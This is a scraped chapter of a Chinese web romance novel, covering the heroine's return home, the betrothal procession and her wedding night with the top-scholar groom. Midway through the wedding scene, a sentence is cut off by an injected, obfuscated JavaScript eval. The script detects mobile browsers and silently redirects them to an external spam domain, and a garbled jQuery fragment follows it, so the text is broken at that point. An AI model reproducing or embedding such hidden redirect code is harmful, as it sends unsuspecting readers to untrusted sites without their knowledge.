文趣网 > 都市小说 > 状元郎的心上人 > 11. 第十一章
    婚期临近。

    童凝烟将绣坊的装修事宜交代给许蕙和童衍,又把另外两位绣娘的排活安排妥当。

    她在京中也呆了差不多一月,算算日子,她也该回去了。

    “小姐,铺子还没开张呢,您就走啦?”

    春桃一边往包袱里塞东西,一边嘟囔。

    “婚期定在五月十五,再不回去,娘该急了。”

    她说着,目光看着春桃,“绣坊的事,我已交代给许蕙,哥也会盯着。等成了亲,咱们再回来。”

    她的目光瞟了一眼,见格架已经搭好,就差准备绣绷那些。

    还有最重要的,挂匾。

    “不急,等大婚后,我和他一起来挂。”

    她伸手摸着柜台,感受着柜台面细腻的木纹,轻声道。

    她离开京都前,最后一次回头,流连京都繁华热闹的大街,想起第一次来时的忐忑,再到如今渐渐从容。

    似乎过了很久,又仿佛就在昨天。

    她的脸上流露出一丝释怀的笑容。

    “走吧,该回去了。”

    她说着,便同春桃一同踏上了回江南的路途。

    她站在船头,眺望周遭景致渐渐后退。

    船只途径苏州河时,熟悉的灰瓦白墙映入眼帘。

    她瞧见码头处有一人,风吹起她的衣角,待船再靠近些,她却见远方的人又添了几根白发。

    那是母亲在等她。

    她知道。

    船一停下,童凝烟将行装塞到春桃怀里,不顾她抱怨,连忙奔向江氏身边。

    江氏还未来得及反应,向后踉跄半步。

    “哎哟,凝烟回来了。”

    江氏的话语总有一种魔力,能冲淡童凝烟多日思家的心绪。

    童凝烟的双手环住她的腰间,头埋在她的脖颈间,轻声呢喃:“娘,我想死你了。”

    江氏一听,用手轻抚过她的墨发,“娘知道,娘知道。”又见她不肯撒手,只好带着她,一步一步,往家的方向走。

    “爹!”

    童凝烟一踏进门,瞧见屋里有人出来,连忙大喊。

    “哎哟哟,凝烟回来了?”童万金抬头,见女儿回来,连忙示意人进门,路上还不忘问她这些时日可还顺利。

    说起这个,她的眼神亮亮的,话语中带着几分高兴:“爹,我和哥哥不仅找到合适的铺子,而且还招到了绣娘,绣坊用不了多久就能开张了!”

    童万金听到她一切顺利,心里顿时松快了些。

    “我可真是没想到啊,我的女儿不仅能绣花,而且还能经营铺子。”

    “爹。”

    童凝烟不同意,嘴上说着,“这哪能都是我的功劳啊,要不是哥哥帮衬,我现在哪能这么顺利回来。”

    她听着父亲这么捧她,想着要是万一绣坊开不下去……

    那可怎么办?

    江氏连忙笑着打着圆场:“老爷啊,难得凝烟有经商的心思,你我二人啊,日后就多帮着就是了。”

    她环顾四周,见童衍不在,应该是留在京都了。

    她实在是担心,童衍不能在大婚当日亲眼看见妹妹出嫁。

    童万金连连点头,应和称是。

    按规矩,待嫁女儿不宜出门见客。

    自她归家后,她只在绣坊中飞针走线,将嫁衣上最后一朵牡丹绣完,又给陆景渊新绣了一方日常用的素帕。

    “小姐,您说您绣得这番好,状元爷舍得用吗?”

    她抬头撇了春桃一眼,只是低头继续绣。

    五月十四,真是江南石榴花盛开时。

    南城街上分外热闹,行人一见长队来,忍不住驻足观望。

    瞧着前排媒人捧着三只红木匣,后面便是十二抬轿,轿内装着聘礼。

    “听说了吗?京都那位状元爷要来南城娶妻了。”

    “听说了听说了,好像娶的是一位大户人家的姑娘……”

    “谁啊谁啊?”

    有人探头问,却见旁边人看他,道:“你从隔壁北城来的吧?那你可是不知道,那位状元爷可是要把我们南城童家姑娘娶过门。”

    童家姑娘?

    这谁不知道啊!

    当年在街上施糕,如今状元爷来娶了,真是好人有好报啊。

    童万金亲自在大门外迎接,双手接过聘书时,手微微颤抖,手心冒着汗。

    “辛苦辛苦,里面请。”

    他看着聘礼一箱一箱抬入正厅,江氏一点不闲着,亲自点数。

    在她放下笔的那一顺,抬头便见童衍从侧门进来。

    “你可总算回来了。”

    她嘴上说着,手上实在是腾不开。

    童衍主动在一旁,帮着记录,忙得满头是汗。

    他这妹夫可真是把妹妹放在手心。

    童衍想着。

    童凝烟被春桃拉着,透过窗棂的缝隙偷看。

    红绸聘礼满布,她笑中含泪,心绪复杂。

    她要离家了。

    不知何时为归期。

    “小姐,明日便是状元夫人。”

    春桃小声在她耳边嘀咕。

    她掩面,含泪点头,努力不让泪落下。转头看向春桃,看着眼前陪她朝夕相处的人,抿着唇,不语。

    “小姐,春桃想跟着您。”

    春桃好想跟着小姐。

    永远不分开。

    “好。”

    “你跟着我。”

    她答应了,目光停留在素帕上。

    那素帕角上绣了一小枝桂花。

    他会喜欢的。

    五月十五。

    天未亮,童凝烟便被春桃拉到梳妆台前打扮。

    她看着铜镜中自己的脸,从未见过如此浓艳的妆容。

    虽不习惯,但眉眼间满是笑意。

    待她身着嫁衣,外罩霞帔,裙摆绣着一整幅百鸟朝凤。

    “小姐穿上嫁衣,很是好看。”

    春桃为她整理着裙摆,忍不住夸赞着。

    江氏站在她身后,看着镜中的女儿,眼眶泛红却没有哭,只是轻拍她的肩。

    “好看。”

    “你爹当年说,我穿嫁衣时最好看。”

    “如今你比我更好看。”

    “娘……”

    她的声音微哑。

    江氏亲手将一支赤金凤钗挽住她的墨发,手指有些抖。

    她的女儿要成为人妻,今日可是她最美的模样。

    门外传来鞭炮声和鼓乐声。

    街上的人早就知道童家姑娘今日要出嫁,连忙站在街上两侧看热闹,更有甚者探出头,试图目睹状元郎风采。

    陆景渊来了。

    今日他身着大红袍服,帽插金花,身骑白马,身后跟着迎亲队伍。

    而长福,则牵着马在前头开道。

    凝烟被喜婆搀扶着出闺

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746081|209289||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    房,童万金亲自替她盖好红盖头。

    盖头落下前,她最后看了一眼父亲,却见他的白发又多了几根。

    她隔着红盖头,看见哥哥扶着母亲,自己也红了眼眶。

    “起——轿——”

    春桃扶着她,坐在花轿中。

    花轿沿街而过,十里红妆跟在后面。

    童家陪嫁了十二抬嫁妆,从绣品到绸缎,再到家具,一样不缺。

    陆景渊看着花轿,嘴角的笑容怎么也压不下去。

    花轿在陆家门前落地。

    春桃搀扶着童凝烟下轿,却见宅门前燃着火盆,浓烟弥漫。

    新娘子跨过这火盆,便是这宅门的当家人了。

    而童凝烟没想到,陆景渊直接一手托着她的腰肢,一手抱住她的膝。

    “你……你放我下来。”

    她觉察到不对,碍于盖头,只能轻轻推搡。

    他并没有放下她,而是径自在火盆边走过。

    她见自己是争执不得,只好任由他。

    “一拜天地——”

    喜婆在宅中唱和着。

    他们牵着红绸缎,同拜天地。

    “二拜高堂——”

    陆景渊的父母早逝,高堂位上供的是陆家父母的牌位。

    他们对着牌位深深叩首。

    陆景渊低声说了句:“娘,儿子今日成家了。”

    声音不高,只有凝烟听见了。

    她侧过头,透过红盖头的缝隙看见他的侧影,想着他从今往后,便不再是孤身一人。

    “夫妻对拜——”

    “礼成,送入洞房——”

    “姑爷会好好待小姐的吧。”

    她想着,目送着陆景渊亲自将小姐送入洞房。

    红烛高照,罗帐低垂。

    陆景渊挑开红盖头,却见她眉眼低垂,不敢看他。便坐在她身侧,伸手握住她的手,实在觉得冰凉。

    “怕?”

    他轻声问道。

    她点头,又摇头,脸颊泛红。

    陆景渊心里笑着,起身倒了两杯酒,将其中一杯递给她。

    “合卺酒。喝了,便是一体。”

    她接过酒杯,两人手臂交缠。

    酒入喉时她呛了一口,轻咳两声。

    他轻轻拍着她的后背,拍着拍着,笑了,却见她嗔了一眼,便收敛了。

    夜深了,红烛烧了半截,房内渐暗,陆景渊从衣襟出取出那方并蒂莲绣帕。

    从凝烟赠予他的那一刻起,他一直珍重折好,怀揣在心口。

    她将先前绣得素帕给他,那素帕被她小心点好,藏在袖间,唯恐留下折痕,轻声说着:“这方是新的,以后你用新的,旧的那方就当纪念。”

    他接过,看了许久,将她的手指轻轻放在上面,抚过帕上桂花。

    “旧帕记当初,新帕记将来,都好。”

    他说着,将罗帐甩下,任由红烛摇曳。

    “洞房花烛夜,春宵值千金,凝烟……”

    他的声音低沉,将她压入床铺,在她耳边轻声说着,瞧着她的青涩,耳尖泛着不自然的红晕。

    她实在是喘不上来气。

    眼前的人重重地压在她身上,他的眼神如狼似的,恨不得生吞了她。

    但又很克制,似乎她不点头,便会主动放弃。

    “好……”

    她轻轻说着,随即闭上了眼眸。